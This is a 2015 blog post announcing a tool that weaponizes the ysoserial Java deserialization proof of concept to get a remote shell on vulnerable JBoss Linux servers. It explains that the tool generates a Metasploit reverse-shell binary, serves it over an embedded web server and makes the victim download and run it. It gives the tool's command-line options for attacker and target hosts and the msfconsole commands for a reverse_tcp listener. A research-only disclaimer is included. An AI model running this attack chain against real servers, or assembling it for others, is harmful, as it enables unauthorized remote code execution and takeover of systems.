Wednesday 23 December 2015

Java Deserialization Exploit

A tool which weaponizes frohoff's original ysoserial code to gain a remote shell on vulnerable Linux machines.

Description

This tool builds upon the proof-of-concept ysoserial by Chris Frohoff (https://github.com/frohoff/ysoserial) and exploits the Java Deserialization vulnerability, using Metasploit Framework tools to generate a malicious binary and an embedded web server to transfer the payload to the victim. A slightly modified version of ysoserial is used to download and execute the binary on the victim's side.

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

How to use 

$ java -jar JBossExploit.jar
usage: java -jar JBossExploit.jar -lhost <host> -lport <port> -payload
            <type> -rhost <host> -rport <port> -srvport <port> -uripath
            <uri>
 -help             Print this message
 -lhost <host>     IP Address of Attacking Machine
 -lport <port>     Port on which local handler is listening for a reverse TCP shell
 -payload <type>   Payload Type (Default: CommonsCollections1)
 -rhost <host>     Target Hostname or IP Address
 -rport <port>     Remote JBoss Port
 -srvport <port>   Port for local HTTP server
 -uripath <uri>    Target resource URI (Default: /invoker/JMXInvokerServlet)

Examples

Requirements

  • Metasploit Framework -- You must have a listener running in msfconsole before running this exploit. Example:
$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST <local ip>
msf exploit(handler) > set LPORT <local port>
msf exploit(handler) > exploit
  • msfvenom must be installed and available in your PATH. This command is used to generate the reverse shell payload.


No comments:

Post a Comment